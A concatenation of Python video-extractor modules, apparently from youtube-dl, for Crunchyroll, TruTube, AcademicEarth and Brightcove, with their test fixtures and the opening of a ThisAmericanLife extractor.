            iv = self._search_regex(r'<iv>([^<]+)', sub_page, 'subtitle_iv', fatal=False)
            data = self._search_regex(r'<data>([^<]+)', sub_page, 'subtitle_data', fatal=False)
            if not id or not iv or not data:
                continue
            subtitle = self._decrypt_subtitles(data, iv, id).decode('utf-8')
            lang_code = self._search_regex(r'lang_code=["\']([^"\']+)', subtitle, 'subtitle_lang_code', fatal=False)
            if not lang_code:
                continue
            subtitles[lang_code] = self._extract_subtitles(subtitle)
        return subtitles

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('video_id')

        if mobj.group('prefix') == 'm':
            mobile_webpage = self._download_webpage(url, video_id, 'Downloading mobile webpage')
            webpage_url = self._search_regex(r'<link rel="canonical" href="([^"]+)" />', mobile_webpage, 'webpage_url')
        else:
            webpage_url = 'http://www.' + mobj.group('url')

        webpage = self._download_webpage(self._add_skip_wall(webpage_url), video_id, 'Downloading webpage')
        note_m = self._html_search_regex(
            r'<div class="showmedia-trailer-notice">(.+?)</div>',
            webpage, 'trailer-notice', default='')
        if note_m:
            raise ExtractorError(note_m)

        mobj = re.search(r'Page\.messaging_box_controller\.addItems\(\[(?P<msg>{.+?})\]\)', webpage)
        if mobj:
            msg = json.loads(mobj.group('msg'))
            if msg.get('type') == 'error':
                raise ExtractorError('crunchyroll returned error: %s' % msg['message_body'], expected=True)

        if 'To view this, please log in to verify you are 18 or older.' in webpage:
            self.raise_login_required()

        video_title = self._html_search_regex(
            r'(?s)<h1[^>]*>((?:(?!<h1).)*?<span[^>]+itemprop=["\']title["\'][^>]*>(?:(?!<h1).)+?)</h1>',
            webpage, 'video_title')
        video_title = re.sub(r' {2,}', ' ', video_title)
        video_description = self._html_search_regex(
            r'<script[^>]*>\s*.+?\[media_id=%s\].+?"description"\s*:\s*"([^"]+)' % video_id,
            webpage, 'description', default=None)
        if video_description:
            video_description = lowercase_escape(video_description.replace(r'\r\n', '\n'))
        video_upload_date = self._html_search_regex(
            [r'<div>Availability for free users:(.+?)</div>', r'<div>[^<>]+<span>\s*(.+?\d{4})\s*</span></div>'],
            webpage, 'video_upload_date', fatal=False, flags=re.DOTALL)
        if video_upload_date:
            video_upload_date = unified_strdate(video_upload_date)
        video_uploader = self._html_search_regex(
            r'<a[^>]+href="/publisher/[^"]+"[^>]*>([^<]+)</a>', webpage,
            'video_uploader', fatal=False)

        available_fmts = []
        for a, fmt in re.findall(r'(<a[^>]+token=["\']showmedia\.([0-9]{3,4})p["\'][^>]+>)', webpage):
            attrs = extract_attributes(a)
            href = attrs.get('href')
            if href and '/freetrial' in href:
                continue
            available_fmts.append(fmt)
        if not available_fmts:
            for p in (r'token=["\']showmedia\.([0-9]{3,4})p"', r'showmedia\.([0-9]{3,4})p'):
                available_fmts = re.findall(p, webpage)
                if available_fmts:
                    break
        video_encode_ids = []
        formats = []
        for fmt in available_fmts:
            stream_quality, stream_format = self._FORMAT_IDS[fmt]
            video_format = fmt + 'p'
            streamdata_req = sanitized_Request(
                'http://www.crunchyroll.com/xml/?req=RpcApiVideoPlayer_GetStandardConfig&media_id=%s&video_format=%s&video_quality=%s'
                % (video_id, stream_format, stream_quality),
                compat_urllib_parse_urlencode({'current_page': url}).encode('utf-8'))
            streamdata_req.add_header('Content-Type', 'application/x-www-form-urlencoded')
            streamdata = self._download_xml(
                streamdata_req, video_id,
                note='Downloading media info for %s' % video_format)
            stream_info = streamdata.find('./{default}preload/stream_info')
            video_encode_id = xpath_text(stream_info, './video_encode_id')
            if video_encode_id in video_encode_ids:
                continue
            video_encode_ids.append(video_encode_id)

            video_file = xpath_text(stream_info, './file')
            if not video_file:
                continue
            if video_file.startswith('http'):
                formats.extend(self._extract_m3u8_formats(
                    video_file, video_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls', fatal=False))
                continue

            video_url = xpath_text(stream_info, './host')
            if not video_url:
                continue
            metadata = stream_info.find('./metadata')
            format_info = {
                'format': video_format,
                'format_id': video_format,
                'height': int_or_none(xpath_text(metadata, './height')),
                'width': int_or_none(xpath_text(metadata, './width')),
            }

            if '.fplive.net/' in video_url:
                video_url = re.sub(r'^rtmpe?://', 'http://', video_url.strip())
                parsed_video_url = compat_urlparse.urlparse(video_url)
                direct_video_url = compat_urlparse.urlunparse(parsed_video_url._replace(
                    netloc='v.lvlt.crcdn.net',
                    path='%s/%s' % (remove_end(parsed_video_url.path, '/'), video_file.split(':')[-1])))
                if self._is_valid_url(direct_video_url, video_id, video_format):
                    format_info.update({
                        'url': direct_video_url,
                    })
                    formats.append(format_info)
                    continue

            format_info.update({
                'url': video_url,
                'play_path': video_file,
                'ext': 'flv',
            })
            formats.append(format_info)
        self._sort_formats(formats)

        metadata = self._download_xml(
            'http://www.crunchyroll.com/xml', video_id,
            note='Downloading media info', query={
                'req': 'RpcApiVideoPlayer_GetMediaMetadata',
                'media_id': video_id,
            })

        subtitles = self.extract_subtitles(video_id, webpage)

        return {
            'id': video_id,
            'title': video_title,
            'description': video_description,
            'thumbnail': xpath_text(metadata, 'episode_image_url'),
            'uploader': video_uploader,
            'upload_date': video_upload_date,
            'series': xpath_text(metadata, 'series_title'),
            'episode': xpath_text(metadata, 'episode_title'),
            'episode_number': int_or_none(xpath_text(metadata, 'episode_number')),
            'subtitles': subtitles,
            'formats': formats,
        }


class CrunchyrollShowPlaylistIE(CrunchyrollBaseIE):
    IE_NAME = 'crunchyroll:playlist'
    _VALID_URL = r'https?://(?:(?P<prefix>www|m)\.)?(?P<url>crunchyroll\.com/(?!(?:news|anime-news|library|forum|launchcalendar|lineup|store|comics|freetrial|login))(?P<id>[\w\-]+))/?(?:\?|$)'

    _TESTS = [{
        'url': 'http://www.crunchyroll.com/a-bridge-to-the-starry-skies-hoshizora-e-kakaru-hashi',
        'info_dict': {
            'id': 'a-bridge-to-the-starry-skies-hoshizora-e-kakaru-hashi',
            'title': 'A Bridge to the Starry Skies - Hoshizora e Kakaru Hashi'
        },
        'playlist_count': 13,
    }, {
        # geo-restricted (US), 18+ maturity wall, non-premium available
        'url': 'http://www.crunchyroll.com/cosplay-complex-ova',
        'info_dict': {
            'id': 'cosplay-complex-ova',
            'title': 'Cosplay Complex OVA'
        },
        'playlist_count': 3,
        'skip': 'Georestricted',
    }, {
        # geo-restricted (US), 18+ maturity wall, non-premium will be available since 2015.11.14
        'url': 'http://www.crunchyroll.com/ladies-versus-butlers?skip_wall=1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        show_id = self._match_id(url)

        webpage = self._download_webpage(self._add_skip_wall(url), show_id)
        title = self._html_search_regex(
            r'(?s)<h1[^>]*>\s*<span itemprop="name">(.*?)</span>',
            webpage, 'title')
        episode_paths = re.findall(
            r'(?s)<li id="showview_videos_media_[0-9]+"[^>]+>.*?<a href="([^"]+)"',
            webpage)
        entries = [
            self.url_result('http://www.crunchyroll.com' + ep, 'Crunchyroll')
            for ep in episode_paths
        ]
        entries.reverse()

        return {
            '_type': 'playlist',
            'id': show_id,
            'title': title,
            'entries': entries,
        }






from __future__ import unicode_literals

from .nuevo import NuevoBaseIE


class TruTubeIE(NuevoBaseIE):
    _VALID_URL = r'https?://(?:www\.)?trutube\.tv/(?:video/|nuevo/player/embed\.php\?v=)(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://trutube.tv/video/14880/Ramses-II-Proven-To-Be-A-Red-Headed-Caucasoid-',
        'md5': 'c5b6e301b0a2040b074746cbeaa26ca1',
        'info_dict': {
            'id': '14880',
            'ext': 'flv',
            'title': 'Ramses II - Proven To Be A Red Headed Caucasoid',
            'thumbnail': 're:^http:.*\.jpg$',
        }
    }, {
        'url': 'https://trutube.tv/nuevo/player/embed.php?v=14880',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self._extract_nuevo(
            'https://trutube.tv/nuevo/player/config.php?v=%s' % video_id,
            video_id)






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class AcademicEarthCourseIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:www\.)?academicearth\.org/playlists/(?P<id>[^?#/]+)'
    IE_NAME = 'AcademicEarth:Course'
    _TEST = {
        'url': 'http://academicearth.org/playlists/laws-of-nature/',
        'info_dict': {
            'id': 'laws-of-nature',
            'title': 'Laws of Nature',
            'description': 'Introduce yourself to the laws of nature with these free online college lectures from Yale, Harvard, and MIT.',
        },
        'playlist_count': 3,
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)
        title = self._html_search_regex(
            r'<h1 class="playlist-name"[^>]*?>(.*?)</h1>', webpage, 'title')
        description = self._html_search_regex(
            r'<p class="excerpt"[^>]*?>(.*?)</p>',
            webpage, 'description', fatal=False)
        urls = re.findall(
            r'<li class="lecture-preview">\s*?<a target="_blank" href="([^"]+)">',
            webpage)
        entries = [self.url_result(u) for u in urls]

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': title,
            'description': description,
            'entries': entries,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import (
    compat_etree_fromstring,
    compat_parse_qs,
    compat_str,
    compat_urllib_parse_urlparse,
    compat_urlparse,
    compat_xml_parse_error,
    compat_HTTPError,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    find_xpath_attr,
    fix_xml_ampersands,
    float_or_none,
    js_to_json,
    int_or_none,
    parse_iso8601,
    unescapeHTML,
    unsmuggle_url,
    update_url_query,
    clean_html,
    mimetype2ext,
)


class BrightcoveLegacyIE(InfoExtractor):
    IE_NAME = 'brightcove:legacy'
    _VALID_URL = r'(?:https?://.*brightcove\.com/(services|viewer).*?\?|brightcove:)(?P<query>.*)'
    _FEDERATED_URL = 'http://c.brightcove.com/services/viewer/htmlFederated'

    _TESTS = [
        {
            # From http://www.8tv.cat/8aldia/videos/xavier-sala-i-martin-aquesta-tarda-a-8-al-dia/
            'url': 'http://c.brightcove.com/services/viewer/htmlFederated?playerID=1654948606001&flashID=myExperience&%40videoPlayer=2371591881001',
            'md5': '5423e113865d26e40624dce2e4b45d95',
            'note': 'Test Brightcove downloads and detection in GenericIE',
            'info_dict': {
                'id': '2371591881001',
                'ext': 'mp4',
                'title': 'Xavier Sala i Martín: “Un banc que no presta és un banc zombi que no serveix per a res”',
                'uploader': '8TV',
                'description': 'md5:a950cc4285c43e44d763d036710cd9cd',
                'timestamp': 1368213670,
                'upload_date': '20130510',
                'uploader_id': '1589608506001',
            }
        },
        {
            # From http://medianetwork.oracle.com/video/player/1785452137001
            'url': 'http://c.brightcove.com/services/viewer/htmlFederated?playerID=1217746023001&flashID=myPlayer&%40videoPlayer=1785452137001',
            'info_dict': {
                'id': '1785452137001',
                'ext': 'flv',
                'title': 'JVMLS 2012: Arrays 2.0 - Opportunities and Challenges',
                'description': 'John Rose speaks at the JVM Language Summit, August 1, 2012.',
                'uploader': 'Oracle',
                'timestamp': 1344975024,
                'upload_date': '20120814',
                'uploader_id': '1460825906',
            },
        },
        {
            # From http://mashable.com/2013/10/26/thermoelectric-bracelet-lets-you-control-your-body-temperature/
            'url': 'http://c.brightcove.com/services/viewer/federated_f9?&playerID=1265504713001&publisherID=AQ%7E%7E%2CAAABBzUwv1E%7E%2CxP-xFHVUstiMFlNYfvF4G9yFnNaqCw_9&videoID=2750934548001',
            'info_dict': {
                'id': '2750934548001',
                'ext': 'mp4',
                'title': 'This Bracelet Acts as a Personal Thermostat',
                'description': 'md5:547b78c64f4112766ccf4e151c20b6a0',
                'uploader': 'Mashable',
                'timestamp': 1382041798,
                'upload_date': '20131017',
                'uploader_id': '1130468786001',
            },
        },
        {
            # test that the default referer works
            # from http://national.ballet.ca/interact/video/Lost_in_Motion_II/
            'url': 'http://link.brightcove.com/services/player/bcpid756015033001?bckey=AQ~~,AAAApYJi_Ck~,GxhXCegT1Dp39ilhXuxMJxasUhVNZiil&bctid=2878862109001',
            'info_dict': {
                'id': '2878862109001',
                'ext': 'mp4',
                'title': 'Lost in Motion II',
                'description': 'md5:363109c02998fee92ec02211bd8000df',
                'uploader': 'National Ballet of Canada',
            },
            'skip': 'Video gone',
        },
        {
            # test flv videos served by akamaihd.net
            # From http://www.redbull.com/en/bike/stories/1331655643987/replay-uci-dh-world-cup-2014-from-fort-william
            'url': 'http://c.brightcove.com/services/viewer/htmlFederated?%40videoPlayer=ref%3Aevent-stream-356&linkBaseURL=http%3A%2F%2Fwww.redbull.com%2Fen%2Fbike%2Fvideos%2F1331655630249%2Freplay-uci-fort-william-2014-dh&playerKey=AQ%7E%7E%2CAAAApYJ7UqE%7E%2Cxqr_zXk0I-zzNndy8NlHogrCb5QdyZRf&playerID=1398061561001#__youtubedl_smuggle=%7B%22Referer%22%3A+%22http%3A%2F%2Fwww.redbull.com%2Fen%2Fbike%2Fstories%2F1331655643987%2Freplay-uci-dh-world-cup-2014-from-fort-william%22%7D',
            # The md5 checksum changes on each download
            'info_dict': {
                'id': '3750436379001',
                'ext': 'flv',
                'title': 'UCI MTB World Cup 2014: Fort William, UK - Downhill Finals',
                'uploader': 'RBTV Old (do not use)',
                'description': 'UCI MTB World Cup 2014: Fort William, UK - Downhill Finals',
                'timestamp': 1409122195,
                'upload_date': '20140827',
                'uploader_id': '710858724001',
            },
        },
        {
            # playlist with 'videoList'
            # from http://support.brightcove.com/en/video-cloud/docs/playlist-support-single-video-players
            'url': 'http://c.brightcove.com/services/viewer/htmlFederated?playerID=3550052898001&playerKey=AQ%7E%7E%2CAAABmA9XpXk%7E%2C-Kp7jNgisre1fG5OdqpAFUTcs0lP_ZoL',
            'info_dict': {
                'title': 'Sealife',
                'id': '3550319591001',
            },
            'playlist_mincount': 7,
        },
        {
            # playlist with 'playlistTab' (https://github.com/rg3/youtube-dl/issues/9965)
            'url': 'http://c.brightcove.com/services/json/experience/runtime/?command=get_programming_for_experience&playerKey=AQ%7E%7E,AAABXlLMdok%7E,NJ4EoMlZ4rZdx9eU1rkMVd8EaYPBBUlg',
            'info_dict': {
                'id': '1522758701001',
                'title': 'Lesson 08',
            },
            'playlist_mincount': 10,
        },
    ]
    FLV_VCODECS = {
        1: 'SORENSON',
        2: 'ON2',
        3: 'H264',
        4: 'VP8',
    }

    @classmethod
    def _build_brighcove_url(cls, object_str):
        """
        Build a Brightcove url from a xml string containing
        <object class="BrightcoveExperience">{params}</object>
        """

        # Fix up some stupid HTML, see https://github.com/rg3/youtube-dl/issues/1553
        object_str = re.sub(r'(<param(?:\s+[a-zA-Z0-9_]+="[^"]*")*)>',
                            lambda m: m.group(1) + '/>', object_str)
        # Fix up some stupid XML, see https://github.com/rg3/youtube-dl/issues/1608
        object_str = object_str.replace('<--', '<!--')
        # remove namespace to simplify extraction
        object_str = re.sub(r'(<object[^>]*)(xmlns=".*?")', r'\1', object_str)
        object_str = fix_xml_ampersands(object_str)

        try:
            object_doc = compat_etree_fromstring(object_str.encode('utf-8'))
        except compat_xml_parse_error:
            return

        fv_el = find_xpath_attr(object_doc, './param', 'name', 'flashVars')
        if fv_el is not None:
            flashvars = dict(
                (k, v[0])
                for k, v in compat_parse_qs(fv_el.attrib['value']).items())
        else:
            flashvars = {}

        data_url = object_doc.attrib.get('data', '')
        data_url_params = compat_parse_qs(compat_urllib_parse_urlparse(data_url).query)

        def find_param(name):
            if name in flashvars:
                return flashvars[name]
            node = find_xpath_attr(object_doc, './param', 'name', name)
            if node is not None:
                return node.attrib['value']
            return data_url_params.get(name)

        params = {}

        playerID = find_param('playerID')
        if playerID is None:
            raise ExtractorError('Cannot find player ID')
        params['playerID'] = playerID

        playerKey = find_param('playerKey')
        # Not all pages define this value
        if playerKey is not None:
            params['playerKey'] = playerKey
        # These fields hold the id of the video
        videoPlayer = find_param('@videoPlayer') or find_param('videoId') or find_param('videoID') or find_param('@videoList')
        if videoPlayer is not None:
            params['@videoPlayer'] = videoPlayer
        linkBase = find_param('linkBaseURL')
        if linkBase is not None:
            params['linkBaseURL'] = linkBase
        return cls._make_brightcove_url(params)

    @classmethod
    def _build_brighcove_url_from_js(cls, object_js):
        # The layout of JS is as follows:
        # customBC.createVideo = function (width, height, playerID, playerKey, videoPlayer, VideoRandomID) {
        #   // build Brightcove <object /> XML
        # }
        m = re.search(
            r'''(?x)customBC.\createVideo\(
                .*?                                                  # skipping width and height
                ["\'](?P<playerID>\d+)["\']\s*,\s*                   # playerID
                ["\'](?P<playerKey>AQ[^"\']{48})[^"\']*["\']\s*,\s*  # playerKey begins with AQ and is 50 characters
                                                                     # in length, however it's appended to itself
                                                                     # in places, so truncate
                ["\'](?P<videoID>\d+)["\']                           # @videoPlayer
            ''', object_js)
        if m:
            return cls._make_brightcove_url(m.groupdict())

    @classmethod
    def _make_brightcove_url(cls, params):
        return update_url_query(cls._FEDERATED_URL, params)

    @classmethod
    def _extract_brightcove_url(cls, webpage):
        """Try to extract the brightcove url from the webpage, returns None
        if it can't be found
        """
        urls = cls._extract_brightcove_urls(webpage)
        return urls[0] if urls else None

    @classmethod
    def _extract_brightcove_urls(cls, webpage):
        """Return a list of all Brightcove URLs from the webpage """

        url_m = re.search(
            r'<meta\s+property=[\'"]og:video[\'"]\s+content=[\'"](https?://(?:secure|c)\.brightcove.com/[^\'"]+)[\'"]',
            webpage)
        if url_m:
            url = unescapeHTML(url_m.group(1))
            # Some sites don't add it, we can't download with this url, for example:
            # http://www.ktvu.com/videos/news/raw-video-caltrain-releases-video-of-man-almost/vCTZdY/
            if 'playerKey' in url or 'videoId' in url:
                return [url]

        matches = re.findall(
            r'''(?sx)<object
            (?:
                [^>]+?class=[\'"][^>]*?BrightcoveExperience.*?[\'"] |
                [^>]*?>\s*<param\s+name="movie"\s+value="https?://[^/]*brightcove\.com/
            ).+?>\s*</object>''',
            webpage)
        if matches:
            return list(filter(None, [cls._build_brighcove_url(m) for m in matches]))

        return list(filter(None, [
            cls._build_brighcove_url_from_js(custom_bc)
            for custom_bc in re.findall(r'(customBC\.createVideo\(.+?\);)', webpage)]))

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        # Change the 'videoId' and others field to '@videoPlayer'
        url = re.sub(r'(?<=[?&])(videoI(d|D)|bctid)', '%40videoPlayer', url)
        # Change bckey (used by bcove.me urls) to playerKey
        url = re.sub(r'(?<=[?&])bckey', 'playerKey', url)
        mobj = re.match(self._VALID_URL, url)
        query_str = mobj.group('query')
        query = compat_urlparse.parse_qs(query_str)

        videoPlayer = query.get('@videoPlayer')
        if videoPlayer:
            # We set the original url as the default 'Referer' header
            referer = smuggled_data.get('Referer', url)
            return self._get_video_info(
                videoPlayer[0], query, referer=referer)
        elif 'playerKey' in query:
            player_key = query['playerKey']
            return self._get_playlist_info(player_key[0])
        else:
            raise ExtractorError(
                'Cannot find playerKey= variable. Did you forget quotes in a shell invocation?',
                expected=True)

    def _get_video_info(self, video_id, query, referer=None):
        headers = {}
        linkBase = query.get('linkBaseURL')
        if linkBase is not None:
            referer = linkBase[0]
        if referer is not None:
            headers['Referer'] = referer
        webpage = self._download_webpage(self._FEDERATED_URL, video_id, headers=headers, query=query)

        error_msg = self._html_search_regex(
            r"<h1>We're sorry.</h1>([\s\n]*<p>.*?</p>)+", webpage,
            'error message', default=None)
        if error_msg is not None:
            raise ExtractorError(
                'brightcove said: %s' % error_msg, expected=True)

        self.report_extraction(video_id)
        info = self._search_regex(r'var experienceJSON = ({.*});', webpage, 'json')
        info = json.loads(info)['data']
        video_info = info['programmedContent']['videoPlayer']['mediaDTO']
        video_info['_youtubedl_adServerURL'] = info.get('adServerURL')

        return self._extract_video_info(video_info)

    def _get_playlist_info(self, player_key):
        info_url = 'http://c.brightcove.com/services/json/experience/runtime/?command=get_programming_for_experience&playerKey=%s' % player_key
        playlist_info = self._download_webpage(
            info_url, player_key, 'Downloading playlist information')

        json_data = json.loads(playlist_info)
        if 'videoList' in json_data:
            playlist_info = json_data['videoList']
            playlist_dto = playlist_info['mediaCollectionDTO']
        elif 'playlistTabs' in json_data:
            playlist_info = json_data['playlistTabs']
            playlist_dto = playlist_info['lineupListDTO']['playlistDTOs'][0]
        else:
            raise ExtractorError('Empty playlist')

        videos = [self._extract_video_info(video_info) for video_info in playlist_dto['videoDTOs']]

        return self.playlist_result(videos, playlist_id='%s' % playlist_info['id'],
                                    playlist_title=playlist_dto['displayName'])

    def _extract_video_info(self, video_info):
        video_id = compat_str(video_info['id'])
        publisher_id = video_info.get('publisherId')
        info = {
            'id': video_id,
            'title': video_info['displayName'].strip(),
            'description': video_info.get('shortDescription'),
            'thumbnail': video_info.get('videoStillURL') or video_info.get('thumbnailURL'),
            'uploader': video_info.get('publisherName'),
            'uploader_id': compat_str(publisher_id) if publisher_id else None,
            'duration': float_or_none(video_info.get('length'), 1000),
            'timestamp': int_or_none(video_info.get('creationDate'), 1000),
        }

        renditions = video_info.get('renditions', []) + video_info.get('IOSRenditions', [])
        if renditions:
            formats = []
            for rend in renditions:
                url = rend['defaultURL']
                if not url:
                    continue
                ext = None
                if rend['remote']:
                    url_comp = compat_urllib_parse_urlparse(url)
                    if url_comp.path.endswith('.m3u8'):
                        formats.extend(
                            self._extract_m3u8_formats(
                                url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
                        continue
                    elif 'akamaihd.net' in url_comp.netloc:
                        # This type of renditions are served through
                        # akamaihd.net, but they don't use f4m manifests
                        url = url.replace('control/', '') + '?&v=3.3.0&fp=13&r=FEEFJ&g=RTSJIMBMPFPB'
                        ext = 'flv'
                if ext is None:
                    ext = determine_ext(url)
                tbr = int_or_none(rend.get('encodingRate'), 1000)
                a_format = {
                    'format_id': 'http%s' % ('-%s' % tbr if tbr else ''),
                    'url': url,
                    'ext': ext,
                    'filesize': int_or_none(rend.get('size')) or None,
                    'tbr': tbr,
                }
                if rend.get('audioOnly'):
                    a_format.update({
                        'vcodec': 'none',
                    })
                else:
                    a_format.update({
                        'height': int_or_none(rend.get('frameHeight')),
                        'width': int_or_none(rend.get('frameWidth')),
                        'vcodec': rend.get('videoCodec'),
                    })

                # m3u8 manifests with remote == false are media playlists
                # Not calling _extract_m3u8_formats here to save network traffic
                if ext == 'm3u8':
                    a_format.update({
                        'format_id': 'hls%s' % ('-%s' % tbr if tbr else ''),
                        'ext': 'mp4',
                        'protocol': 'm3u8_native',
                    })

                formats.append(a_format)
            self._sort_formats(formats)
            info['formats'] = formats
        elif video_info.get('FLVFullLengthURL') is not None:
            info.update({
                'url': video_info['FLVFullLengthURL'],
                'vcodec': self.FLV_VCODECS.get(video_info.get('FLVFullCodec')),
                'filesize': int_or_none(video_info.get('FLVFullSize')),
            })

        if self._downloader.params.get('include_ads', False):
            adServerURL = video_info.get('_youtubedl_adServerURL')
            if adServerURL:
                ad_info = {
                    '_type': 'url',
                    'url': adServerURL,
                }
                if 'url' in info:
                    return {
                        '_type': 'playlist',
                        'title': info['title'],
                        'entries': [ad_info, info],
                    }
                else:
                    return ad_info

        if 'url' not in info and not info.get('formats'):
            raise ExtractorError('Unable to extract video url for %s' % video_id)
        return info


class BrightcoveNewIE(InfoExtractor):
    IE_NAME = 'brightcove:new'
    _VALID_URL = r'https?://players\.brightcove\.net/(?P<account_id>\d+)/(?P<player_id>[^/]+)_(?P<embed>[^/]+)/index\.html\?.*videoId=(?P<video_id>\d+|ref:[^&]+)'
    _TESTS = [{
        'url': 'http://players.brightcove.net/929656772001/e41d32dc-ec74-459e-a845-6c69f7b724ea_default/index.html?videoId=4463358922001',
        'md5': 'c8100925723840d4b0d243f7025703be',
        'info_dict': {
            'id': '4463358922001',
            'ext': 'mp4',
            'title': 'Meet the man behind Popcorn Time',
            'description': 'md5:eac376a4fe366edc70279bfb681aea16',
            'duration': 165.768,
            'timestamp': 1441391203,
            'upload_date': '20150904',
            'uploader_id': '929656772001',
            'formats': 'mincount:22',
        },
    }, {
        # with rtmp streams
        'url': 'http://players.brightcove.net/4036320279001/5d112ed9-283f-485f-a7f9-33f42e8bc042_default/index.html?videoId=4279049078001',
        'info_dict': {
            'id': '4279049078001',
            'ext': 'mp4',
            'title': 'Titansgrave: Chapter 0',
            'description': 'Titansgrave: Chapter 0',
            'duration': 1242.058,
            'timestamp': 1433556729,
            'upload_date': '20150606',
            'uploader_id': '4036320279001',
            'formats': 'mincount:41',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        # ref: prefixed video id
        'url': 'http://players.brightcove.net/3910869709001/21519b5c-4b3b-4363-accb-bdc8f358f823_default/index.html?videoId=ref:7069442',
        'only_matching': True,
    }, {
        # non numeric ref: prefixed video id
        'url': 'http://players.brightcove.net/710858724001/default_default/index.html?videoId=ref:event-stream-356',
        'only_matching': True,
    }, {
        # unavailable video without message but with error_code
        'url': 'http://players.brightcove.net/1305187701/c832abfb-641b-44eb-9da0-2fe76786505f_default/index.html?videoId=4377407326001',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        urls = BrightcoveNewIE._extract_urls(webpage)
        return urls[0] if urls else None

    @staticmethod
    def _extract_urls(webpage):
        # Reference:
        # 1. http://docs.brightcove.com/en/video-cloud/brightcove-player/guides/publish-video.html#setvideoiniframe
        # 2. http://docs.brightcove.com/en/video-cloud/brightcove-player/guides/publish-video.html#setvideousingjavascript
        # 3. http://docs.brightcove.com/en/video-cloud/brightcove-player/guides/embed-in-page.html
        # 4. https://support.brightcove.com/en/video-cloud/docs/dynamically-assigning-videos-player

        entries = []

        # Look for iframe embeds [1]
        for _, url in re.findall(
                r'<iframe[^>]+src=(["\'])((?:https?:)?//players\.brightcove\.net/\d+/[^/]+/index\.html.+?)\1', webpage):
            entries.append(url if url.startswith('http') else 'http:' + url)

        # Look for embed_in_page embeds [2]
        for video_id, account_id, player_id, embed in re.findall(
                # According to examples from [3] it's unclear whether video id
                # may be optional and what to do when it is
                # According to [4] data-video-id may be prefixed with ref:
                r'''(?sx)
                    <video[^>]+
                        data-video-id=["\'](\d+|ref:[^"\']+)["\'][^>]*>.*?
                    </video>.*?
                    <script[^>]+
                        src=["\'](?:https?:)?//players\.brightcove\.net/
                        (\d+)/([^/]+)_([^/]+)/index(?:\.min)?\.js
                ''', webpage):
            entries.append(
                'http://players.brightcove.net/%s/%s_%s/index.html?videoId=%s'
                % (account_id, player_id, embed, video_id))

        return entries

    def _real_extract(self, url):
        account_id, player_id, embed, video_id = re.match(self._VALID_URL, url).groups()

        webpage = self._download_webpage(
            'http://players.brightcove.net/%s/%s_%s/index.min.js'
            % (account_id, player_id, embed), video_id)

        policy_key = None

        catalog = self._search_regex(
            r'catalog\(({.+?})\);', webpage, 'catalog', default=None)
        if catalog:
            catalog = self._parse_json(
                js_to_json(catalog), video_id, fatal=False)
            if catalog:
                policy_key = catalog.get('policyKey')

        if not policy_key:
            policy_key = self._search_regex(
                r'policyKey\s*:\s*(["\'])(?P<pk>.+?)\1',
                webpage, 'policy key', group='pk')

        api_url = 'https://edge.api.brightcove.com/playback/v1/accounts/%s/videos/%s' % (account_id, video_id)
        try:
            json_data = self._download_json(api_url, video_id, headers={
                'Accept': 'application/json;pk=%s' % policy_key
            })
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 403:
                json_data = self._parse_json(e.cause.read().decode(), video_id)[0]
                raise ExtractorError(
                    json_data.get('message') or json_data['error_code'], expected=True)
            raise

        title = json_data['name'].strip()

        formats = []
        for source in json_data.get('sources', []):
            container = source.get('container')
            ext = mimetype2ext(source.get('type'))
            src = source.get('src')
            if ext == 'ism':
                continue
            elif ext == 'm3u8' or container == 'M2TS':
                if not src:
                    continue
                formats.extend(self._extract_m3u8_formats(
                    src, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
            elif ext == 'mpd':
                if not src:
                    continue
                formats.extend(self._extract_mpd_formats(src, video_id, 'dash', fatal=False))
            else:
                streaming_src = source.get('streaming_src')
                stream_name, app_name = source.get('stream_name'), source.get('app_name')
                if not src and not streaming_src and (not stream_name or not app_name):
                    continue
                tbr = float_or_none(source.get('avg_bitrate'), 1000)
                height = int_or_none(source.get('height'))
                width = int_or_none(source.get('width'))
                f = {
                    'tbr': tbr,
                    'filesize': int_or_none(source.get('size')),
                    'container': container,
                    'ext': ext or container.lower(),
                }
                if width == 0 and height == 0:
                    f.update({
                        'vcodec': 'none',
                    })
                else:
                    f.update({
                        'width': width,
                        'height': height,
                        'vcodec': source.get('codec'),
                    })

                def build_format_id(kind):
                    format_id = kind
                    if tbr:
                        format_id += '-%dk' % int(tbr)
                    if height:
                        format_id += '-%dp' % height
                    return format_id

                if src or streaming_src:
                    f.update({
                        'url': src or streaming_src,
                        'format_id': build_format_id('http' if src else 'http-streaming'),
                        'source_preference': 0 if src else -1,
                    })
                else:
                    f.update({
                        'url': app_name,
                        'play_path': stream_name,
                        'format_id': build_format_id('rtmp'),
                    })
                formats.append(f)

        errors = json_data.get('errors')
        if not formats and errors:
            error = errors[0]
            raise ExtractorError(
                error.get('message') or error.get('error_subcode') or error['error_code'], expected=True)

        self._sort_formats(formats)

        subtitles = {}
        for text_track in json_data.get('text_tracks', []):
            if text_track.get('src'):
                subtitles.setdefault(text_track.get('srclang'), []).append({
                    'url': text_track['src'],
                })

        return {
            'id': video_id,
            'title': title,
            'description': clean_html(json_data.get('description')),
            'thumbnail': json_data.get('thumbnail') or json_data.get('poster'),
            'duration': float_or_none(json_data.get('duration'), 1000),
            'timestamp': parse_iso8601(json_data.get('published_at')),
            'uploader_id': account_id,
            'formats': formats,
            'subtitles': subtitles,
            'tags': json_data.get('tags', []),
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class ThisAmericanLifeIE(InfoExtractor):
